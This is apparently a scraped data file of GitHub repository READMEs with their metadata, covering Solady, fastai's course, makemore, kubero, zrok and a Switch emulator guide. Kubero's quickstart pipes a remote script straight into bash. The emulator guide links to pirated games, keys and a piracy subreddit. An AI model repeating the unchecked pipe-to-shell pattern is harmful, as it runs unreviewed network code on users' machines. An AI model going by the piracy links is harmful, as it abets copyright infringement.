— "Deploy to deterministic addresses without an initcode factor" ├─ LibRLP — "Library for computing contract addresses from their deployer and nonce" ├─ LibBit — "Library for bit twiddling and boolean operations" ├─ LibZip — "Library for compressing and decompressing bytes" ├─ Clone — "Class with helper read functions for clone with immutable args" ├─ LibClone — "Minimal proxy library" ├─ Initializable — "Initializable mixin for the upgradeable contracts" ├─ UUPSUpgradeable — "UUPS proxy mixin" ├─ UpgradeableBeacon — "Upgradeable beacon for ERC1967 beacon proxies" ├─ LibString — "Library for converting numbers into strings and other string operations" ├─ LibBitmap — "Library for storage of packed booleans" ├─ LibMap — "Library for storage of packed unsigned integers" ├─ EnumerableSetLib — "Library for managing enumerable sets in storage" ├─ MinHeapLib — "Library for managing a min-heap in storage or memory" ├─ RedBlackTreeLib — "Library for managing a red-black-tree in storage" ├─ ReentrancyGuard — "Reentrancy guard mixin" ├─ Multicallable — "Contract that enables a single call to call multiple methods on itself" ├─ GasBurnerLib — "Library for burning gas without reverting" ├─ SafeTransferLib — "Safe ERC20/ETH transfer lib that handles missing return values" ├─ DynamicBufferLib — "Library for buffers with automatic capacity resizing" ├─ EfficientHashLib — "Library for efficiently performing keccak256 hashes" ├─ MetadataReaderLib — "Library for reading contract metadata robustly" ├─ FixedPointMathLib — "Arithmetic library with operations for fixed-point numbers" ├─ SafeCastLib — "Library for integer casting that reverts on overflow" ├─ DateTimeLib — "Library for date time operations" └─ Lifebuoy — "Class that allows for rescue of ETH, ERC20, ERC721 tokens" ``` ## Directories ```ml src — "Solidity smart contracts" test — "Foundry Forge tests" js — "Accompanying JavaScript helper library" ext — "Extra tests" audits — "Audit reports" ``` ## Contributing This repository serves as a laboratory for cutting edge snippets that may be merged into [Solmate](https://github.com/transmissions11/solmate). Feel free to make a pull request. Do refer to the [contribution guidelines](https://github.com/Vectorized/solady/issues/19) for more details. ## Safety This is experimental software and is provided on an "as is" and "as available" basis. We do not give any warranties and will not be liable for any loss incurred through any use of this codebase. While Solady has been heavily tested, there may be parts that may exhibit unexpected emergent behavior when used with other code, or may break in future Solidity versions. Please always include your own thorough tests when using Solady to make sure it works correctly with your code. ## Upgradability Most contracts in Solady are compatible with both upgradeable and non-upgradeable (i.e. regular) contracts. Please call any required internal initialization methods accordingly. ## EVM Compatibility Some parts of Solady may not be compatible with chains with partial EVM equivalence. Please always check and test for compatibility accordingly. ## Acknowledgements This repository is inspired by or directly modified from many sources, primarily: - [Solmate](https://github.com/transmissions11/solmate) - [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts) - [ERC721A](https://github.com/chiru-labs/ERC721A) - [Zolidity](https://github.com/z0r0z/zolidity) - [🐍 Snekmate](https://github.com/pcaversaccio/snekmate) - [Femplate](https://github.com/abigger87/femplate) [npm-shield]: https://img.shields.io/npm/v/solady.svg [npm-url]: https://www.npmjs.com/package/solady [ci-shield]: https://img.shields.io/github/actions/workflow/status/vectorized/solady/ci.yml?branch=main&label=build [ci-url]: https://github.com/vectorized/solady/actions/workflows/ci.yml [solidity-shield]: https://img.shields.io/badge/solidity-%3E=0.8.4%20%3C=0.8.26-aa6746 [solidity-ci-url]: https://github.com/Vectorized/solady/actions/workflows/ci-all-via-ir.yml	Optimized Solidity snippets.	ethereum,solidity,erc1155,erc20,erc721,inline-assembly	0	64	839	1,108	15	3	4
fastai/course22	## course.fast.ai This is where you'll find the notebooks, slides, and spreadsheets for the 2022 edition of Practical Deep Learning for Coders. See [course.fast.ai](https://course.fast.ai) for the lessons. ## What's here - Repo root: notebooks - `clean` folder: notebooks without prose or outputs - `xl`: Excel spreadsheets - `slides`: Jeremy's slide decks - `tools`: Ignore (tools for creating this repo) - `getting-started-with-codespaces`: A document to help run the notebooks in a GitHub Codespace	The fast.ai course notebooks	deep-learning,fastai,jupyter-notebooks,machine-learning,notebooks,python	0	7	42	43	58	1	0
karpathy/makemore	# makemore makemore takes one text file as input, where each line is assumed to be one training thing, and generates more things like it. Under the hood, it is an autoregressive character-level language model, with a wide choice of models from bigrams all the way to a Transformer (exactly as seen in GPT). For example, we can feed it a database of names, and makemore will generate cool baby name ideas that all sound name-like, but are not already existing names. Or if we feed it a database of company names then we can generate new ideas for a name of a company. Or we can just feed it valid scrabble words and generate english-like babble. This is not meant to be too heavyweight library with a billion switches and knobs. It is one hackable file, and is mostly intended for educational purposes. [PyTorch](https://pytorch.org) is the only requirement. Current implementation follows a few key papers: - Bigram (one character predicts the next one with a lookup table of counts) - MLP, following [Bengio et al. 2003](https://www.jmlr.org/papers/volume3/bengio03a/bengio03a.pdf) - CNN, following [DeepMind WaveNet 2016](https://arxiv.org/abs/1609.03499) (in progress...) - RNN, following [Mikolov et al. 2010](https://www.fit.vutbr.cz/research/groups/speech/publi/2010/mikolov_interspeech2010_IS100722.pdf) - LSTM, following [Graves et al. 2014](https://arxiv.org/abs/1308.0850) - GRU, following [Kyunghyun Cho et al. 2014](https://arxiv.org/abs/1409.1259) - Transformer, following [Vaswani et al. 2017](https://arxiv.org/abs/1706.03762) ### Usage The included `names.txt` dataset, as an example, has the most common 32K names takes from [ssa.gov](https://www.ssa.gov/oact/babynames/) for the year 2018. It looks like: ``` emma olivia ava isabella sophia charlotte ... ``` Let's point the script at it: ```bash $ python makemore.py -i names.txt -o names ``` Training progress and logs and model will all be saved to the working directory `names`. The default model is a super tiny 200K param transformer; Many more training configurations are available - see the argparse and read the code. Training does not require any special hardware, it runs on my Macbook Air and will run on anything else, but if you have a GPU then training will fly faster. As training progresses the script will print some samples throughout. However, if you'd like to sample manually, you can use the `--sample-only` flag, e.g. in a separate terminal do: ```bash $ python makemore.py -i names.txt -o names --sample-only ``` This will load the best model so far and print more samples on demand. Here are some unique baby names that get eventually generated from current default settings (test logprob of ~1.92, though much lower logprobs are achievable with some hyperparameter tuning): ``` dontell khylum camatena aeriline najlah sherrith ryel irmi taislee mortaz akarli maxfelynn biolett zendy laisa halliliana goralynn brodynn romima chiyomin loghlyn melichae mahmed irot helicha besdy ebokun lucianno ``` Have fun! ### License MIT	An autoregressive character-level language model for making more things	null	0	1	9	21	5	2	0
kubero-dev/kubero	<p align="center"> <img src="docs/logo/kubero-logo-horizontal.png"> </p> <hr> <br> <a href="https://github.com/kubero-dev/kubero/blob/main/LICENSE" target="_blank"><img alt="License" src="https://img.shields.io/github/license/kubero-dev/kubero?style=flat-square&color=blue"></a> <a href="https://github.com/kubero-dev/kubero/releases/latest" target="_blank"><img alt="GitHub release (latest by date)" src="https://img.shields.io/github/v/release/kubero-dev/kubero?style=flat-square&color=brightgreen"></a> <a href="https://discord.gg/tafRPMWS4r" target="_blank"><img alt="Discord" src="https://img.shields.io/discord/1051249947472826408?style=flat-square"></a><!--<img alt="GitHub Downloads all releases" src="https://img.shields.io/github/downloads/kubero-dev/kubero-cli/total?style=flat-square&label=cli downloads">--> <a href="https://github.com/kubero-dev/kubero/releases/latest" target="_blank"><img alt="GitHub (Pre-)Release Date" src="https://img.shields.io/github/release-date-pre/kubero-dev/kubero?style=flat-square"></a> <a href="https://demo.kubero.dev" target="_blank"><img alt="Demo" src="https://img.shields.io/badge/demo-up-sucess?style=flat-square&color=blue"></a> <br> Kubero [pronounced: Kube Hero] is a fully self-hosted Internal Developer Platform (IDP) that brings the workflows of Heroku to your Kubernetes cluster. It enables you to deploy your applications with a few clicks. It has a built-in CI/CD pipeline and supports multiple staging environments. <br> <br> <img src="docs/screenshots/createapp.gif"> More <a href="https://docs.kubero.dev/screenshots" target="_blank">Screenshots</a> and a full video on <a href="https://www.youtube.com/watch?v=kmqhddc6UlI" target="_blank">YouTube</a><p> ## How it Works ([DEMO](https://demo.kubero.dev)) 1. Create a pipeline with the phases you need (review, test, stage, production) 2. Connect the pipeline to your git repository (Github, Bitbucket, Gitlab, Gitea, Gogs) 3. Configure your apps with cronjobs and addons Kubero initiates two containers: one for cloning your repository and another for building your app. Once the build is complete, Kubero will launch the final container and make it accessible via the configured domain. ## Features - Create unlimited CI/CD pipelines with up to 4 separate staging environments for all your applications - Automatically build, start, and cleanup review-apps after opening/closing a pull request - Automatic redeployment of the app based on a push to a branch or tag - Create scheduled tasks as cronjobs - Deploy well known apps with templates [(Wordpress, Grafana, ...)](https://www.kubero.dev/templates) - Easy deployment of your docker containers on Kubernetes without writing helm charts - Deploy add-ons for your application (PostgreSQL, Redis, [and more ...](https://github.com/kubero-dev/kubero#preconfigured-add-ons)) - Easy access of application logs in the web-UI - Easy and safe restart of the application in the web-UI - Triggered or periodic vulnerability scans of your running apps - Comes with an API and CLI to integrate with your existing tools and CI/CD - Built-in container web console - Build and deployment Notifications to Discord/Slack/Webhooks - Integrated metrics and monitoring - SSO with Github and Oauth2 ## Supported GIT repositories (hosted and self-hosted) - Gitea / Forgejo - Gogs - Github - Gitlab - Bitbucket ## Tested languages/frameworks Basically everything that can be packaged in a single container can be deployed by Kubero. - GoLang (including Hugo, gin-gonic) - Python (including Flask) - JavaScript/NodeJS - PHP (including Laravel) - Ruby (including Rails) - Static HTML - Rust (including Rocket) - ... You find the preconfigured buildpacks and examples here: https://github.com/kubero-dev/buildpacks ## Add-ons \| \| Addon \| Maintainer \| Built in* \| \|---\|-------\|------------\|-----------\| \| <img src="client/public/img/addons/MySQL.png" width="30px" style="vertical-align: middle; margin: 10px"> \| MySQL \| [Bitnami](https://github.com/bitnami/charts/tree/main/bitnami/mysql) \| ✅ \| \| <img src="client/public/img/addons/postgresql.png" width="30px" style="vertical-align: middle; margin: 10px"> \| PostgreSQL \| [Bitnami](https://github.com/bitnami/charts/tree/main/bitnami/postgresql) \| ✅ \| \| <img src="client/public/img/addons/Redis.png" width="30px" style="vertical-align: middle; margin: 10px"> \| Redis \| [Bitnami](https://github.com/bitnami/charts/tree/main/bitnami/redis) \| ✅ \| \| <img src="client/public/img/addons/MongoDB.png" width="30px" style="vertical-align: middle; margin: 10px"> \| MongoDB \| [Bitnami](https://github.com/bitnami/charts/tree/main/bitnami/mongodb) \| ✅ \| \| <img src="client/public/img/addons/Elasticsearch.png" width="30px" style="vertical-align: middle; margin: 10px"> \| Elasticsearch \| [Bitnami](https://github.com/bitnami/charts/tree/main/bitnami/elasticsearch) \| ✅ \| \| <img src="client/public/img/addons/Kafka.png" width="30px" style="vertical-align: middle; margin: 10px"> \| Kafka \| [Bitnami](https://github.com/bitnami/charts/tree/main/bitnami/kafka) \| ✅ \| \| <img src="client/public/img/addons/CouchDB.png" width="30px" style="vertical-align: middle; margin: 10px"> \| CouchDB \| [Apache](https://apache.github.io/couchdb-helm) \| ✅ \| \| <img src="client/public/img/addons/Haraka.png" width="30px" style="vertical-align: middle; margin: 10px"> \| Haraka Mail Server \| [Kubero](https://github.com/kubero-dev/haraka-docker) \| ✅ \| \| <img src="client/public/img/addons/Memcached.png" width="30px" style="vertical-align: middle; margin: 10px"> \| Memcache \| [Bitnami](https://github.com/bitnami/charts/tree/main/bitnami/memcached) \| ✅ \| \| <img src="client/public/img/addons/RabbitMQ.png" width="30px" style="vertical-align: middle; margin: 10px"> \| RabbitMQ \| [Bitnami](https://github.com/bitnami/charts/tree/main/bitnami/rabbitmq) \| ✅ \| \| <img src="client/public/img/addons/cloudflare.svg" width="30px" style="vertical-align: middle; margin: 10px"> \| Cludflare Tunnels \| [Adianth](https://github.com/adyanth/cloudflare-operator) \| \| \| <img src="client/public/img/addons/Minio.png" width="30px" style="vertical-align: middle; margin: 10px"> \| Minio \| [Minio](https://artifacthub.io/packages/olm/community-operators/minio-operator) \| \| \| <img src="client/public/img/addons/MongoDB.png" width="30px" style="vertical-align: middle; margin: 10px"> \| Percona MongoDB Cluster \| [Percona](https://artifacthub.io/packages/olm/community-operators/mongodb-operator) \| \| \| <img src="client/public/img/addons/postgresql.png" width="30px" style="vertical-align: middle; margin: 10px"> \| Crunchy Postgres Cluster \| [Crunchy Data](https://artifacthub.io/packages/olm/community-operators/postgresql) \| \| \| <img src="client/public/img/addons/Redis.png" width="30px" style="vertical-align: middle; margin: 10px"> \| Redis Cluster \| [Opstree](https://artifacthub.io/packages/olm/community-operators/redis-operator) \| \| \| <img src="client/public/img/addons/CockroachDB.svg" width="30px" style="vertical-align: middle; margin: 10px"> \| CockroachDB\| [CockroachDB](https://artifacthub.io/packages/olm/community-operators/cockroachdb) \| \| \* Ships with the Kubero Operator #### Planned Add-ons - [Aerospike](https://aerospike.com/) - [TiDB](https://pingcap.com/) - [ArangoDB](https://www.arangodb.com/) - [Cassandra](https://cassandra.apache.org/) - [InfluxDB](https://www.influxdata.com/) - [MariaDB](https://mariadb.org/) - [Prometheus](https://prometheus.io/) - [ImmuDB](https://github.com/unagex/immudb-operator) #### Longterm future Add-ons - [Crossplane](https://crossplane.io/) - [Neo4j](https://neo4j.com/) - [Presto](https://prestodb.io/) - [TimescaleDB](https://www.timescale.com/) - [Zookeeper](https://zookeeper.apache.org/) - [RethinkDB](https://rethinkdb.com/) ## 60+ Application templates (similar to Heroku Buttons) - Wordpress - Grafana - Bluesky PDS (Personal Data Server) - <a href="https://uptime.kuma.pet" target="_blank">Kuma</a> - <a href="https://github.com/zadam/trilium" target="_blank">Trilium Notes</a> - ... Check out the full [list here](https://www.kubero.dev/templates/) or submit your own app! [Read here](https://github.com/kubero-dev/kubero/blob/main/services/) how to do it. ## Basic Concept Kubero is Kubernetes native and runs with two containers on any Kubernetes instance. <br> <br> <img src="docs/img/highlevel.png"> ## Quickstart 1) Download and unpack the <a href="https://github.com/kubero-dev/kubero-cli/releases/latest">Kubero CLI</a> (MacOS, Linux, Windows)<p> Binaries (MacOS, Linux) ``` curl -fsSL get.kubero.dev \| bash ``` Brew (MacOS, Linux) ``` brew tap kubero-dev/kubero brew install kubero-cli ``` 2) Run `kubero install` to install all components on a new or your existing cluster You can bring your own cluster or create one with the kubero install on one of the following providers: - GKE - Scaleway - DigitalOcean - Linode - Kind (local) ## Documentation https://docs.kubero.dev/ ## Roadmap https://github.com/orgs/kubero-dev/projects/1/views/3 ## Community [![kubero Discord server Banner](https://discordapp.com/api/guilds/1051249947472826408/widget.png?style=banner2)](https://discord.gg/tafRPMWS4r) ## Contributing All contributions are welcome! - Open an issue - Add a feature or open a feature request - Discuss ideas in the discussions - Fix typos - Contribute code - Write articles ## Supporting this project Starring this project is a huge motivation. ⭐ Thank you! [![Stargazers over time](https://starchart.cc/kubero-dev/kubero.svg)](https://starchart.cc/kubero-dev/kubero)	A free and self-hosted Heroku / Netlify / Vercel alternative for Kubernetes	kubernetes,hosting,application-development,ci-cd,operator,developer-tools,heroku,infrastructure,productivity,gitops	55	16	228	1,296	30	48	4
openziti/zrok	![zrok](docs/images/zrok_cover.png) `zrok` is a next-generation, peer-to-peer sharing platform built on top of [OpenZiti](https://docs.openziti.io/docs/learn/introduction/), a programmable zero-trust network overlay. `zrok` is a _Ziti Native Application_. `zrok` facilitates sharing resources both publicly and privately. Public sharing allows you to share `zrok` resources with non-`zrok` users over the public internet. Private sharing allows you to directly share your resources peer-to-peer with other `zrok` users without changing your security or firewall settings. Like other offerings in this space, `zrok` allows users to share tunnels for HTTP, TCP and UDP network resources. `zrok` additionally allows users to easily and rapidly share files, web content, and custom resources in a peer-to-peer manner. `zrok` is an extensible platform for sharing. Initially we're targeting technical users. Super-simple sharing for end users is planned and in the backlog. ![zrok Web Console](docs/images/zrok_web_console.png) ## Frictionless You can be up and sharing using the `zrok.io` service in minutes. Here is a synopsis of what's involved: * Download the binary for your platform [here](https://github.com/openziti/zrok/releases/latest) * `zrok invite` to create an account with the service * `zrok enable` to enable your shell environment for sharing with the service ### And then... sharing... Easily share private network resources with public internet users, securely, without having to alter any of your local network configuration: ``` $ zrok share public localhost:8080 ``` ![zrok share public](docs/images/zrok_share_public.png) ``` $ curl -s https://dslno640nct4.share.zrok.io \| head <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <meta name="theme-color" content="#000000"/> <meta name="description" content="zrok ui"/> <link rel="preconnect" href="https://fonts.googleapis.com"> ``` Share "network drives" with public and private users running on Windows, macOS, or Linux systems: ``` $ zrok share public --backend-mode drive ~/Repos/zrok ``` ![zrok share public -b drive](docs/images/zrok_share_public_drive.png) Mounting and working with shared drives is simple, and works with any applications on the end users' systems: ![mounted zrok drive](docs/images/zrok_share_public_drive_explorer.png) See the [Concepts and Getting Started Guide](https://docs.zrok.io/docs/getting-started) for a full overview. ## The `zrok` SDK `zrok` includes an SDK that allows you to embed `zrok` sharing capabilities into your own applications. If you're familiar with a golang `net.Conn` and `net.Listener`, you'll be right at home with our SDK. ### A Simple `zrok` Sharing Service ```go // load enabled zrok environment root, err := environment.LoadRoot() // request a share for your resource shr, err := sdk.CreateShare(root, &sdk.ShareRequest{ BackendMode: sdk.TcpTunnelBackendMode, ShareMode: sdk.PrivateShareMode, // ... }) // accept requests for your resource listener, err := sdk.NewListener(shr.Token, root) ``` ### A Simple `zrok` Client ```go // load enabled zrok environment root, err := environment.LoadRoot() // request access to a shared zrok resource acc, err := sdk.CreateAccess(root, &sdk.AccessRequest{ShareToken: shrToken}) // establish a connection to the resource directly conn, err := sdk.NewDialer(shrToken, root) ``` This [blog post](https://blog.openziti.io/the-zrok-sdk) provides more details for [getting started](https://blog.openziti.io/the-zrok-sdk) with the `zrok` SDK. ## Self-Hosting `zrok` is designed to scale up to support extremely large service instances. `zrok.io` is a public service instance operated by NetFoundry using the same code base that is available to self-hosted environments. `zrok` is also designed to scale down to support extremely small deployments. Run `zrok` and OpenZiti on a Raspberry Pi! The single `zrok` binary contains everything you need to operate `zrok` environments and also host your own service instances. Just add an OpenZiti network and you're up and running. See the [Self-Hosting Guide](https://docs.zrok.io/docs/guides/self-hosting/self_hosting_guide/) for details on getting your own `zrok` service instance running. ## zrok Office Hours We maintain a growing playlist of videos focusing on various aspects of `zrok`. This includes the "office hours" series, which are longer-format videos digging into the implementation of `zrok` and showcasing some of the latest features and capabilities: [![zrok Office Hours](https://img.youtube.com/vi/Edqv7yRmXb0/0.jpg)](https://www.youtube.com/watch?v=Edqv7yRmXb0&list=PLMUj_5fklasLuM6XiCNqwAFBuZD1t2lO2) ## Building If you are interested in building `zrok` for yourself instead of using a released package, please refer to [BUILD.md](./BUILD.md) ## Contributing If you'd like to contribute back to `zrok`, that'd be great. Please see our [CONTRIBUTING.md](./CONTRIBUTING.md) page and abide by the [CODE_OF_CONDUCT.md](./CODE_OF_CONDUCT.md).	Geo-scale, next-generation peer-to-peer sharing platform built on top of OpenZiti.	file-sharing,golang,network,peer-to-peer,reverse-proxy,security,zero-trust	45	30	258	2,247	75	31	8
Abd-007/Switch-Emulators-Guide	# Switch-Emulators-Guide A guide to get Yuzu or Ryujinx running on your PC. Download links included. Note: The downloads are given in the guides wherever necessary, but if you just want to get the downloads, you can get them by clicking below. Includes games, keys, firmware, shaders, etc. [Download Links](https://github.com/Abd-007/Switch-Emulators-Guide/blob/main/Links.md) ## Guides [Ryujinx Guide](https://github.com/Abd-007/Switch-Emulators-Guide/blob/main/Ryujinx.md) [Yuzu Guide](https://github.com/Abd-007/Switch-Emulators-Guide/blob/main/Yuzu.md) (Shut down on March 5, 2024) Note: If you need help with something you don't understand, or your issue is not listed, please join our discord server and ask for help. It will be much easier to assist you there. ### Due to a DMCA notice by nintendo, copyrighted files such as keys and games are currently unavailable. ## Discord, Subreddit, and Megathread links: [Discord](https://discord.gg/Zp3NEGQme4) [Subreddit](https://www.reddit.com/r/EmulationPiracy/) [Megathread](https://rentry.org/emupmega)	A guide to get either Yuzu or Ryujinx running on your PC. Includes links for games, keys, firmware, shaders and some other stuff. Made for 128BitBay.	null	0	7	19	234	3	1	0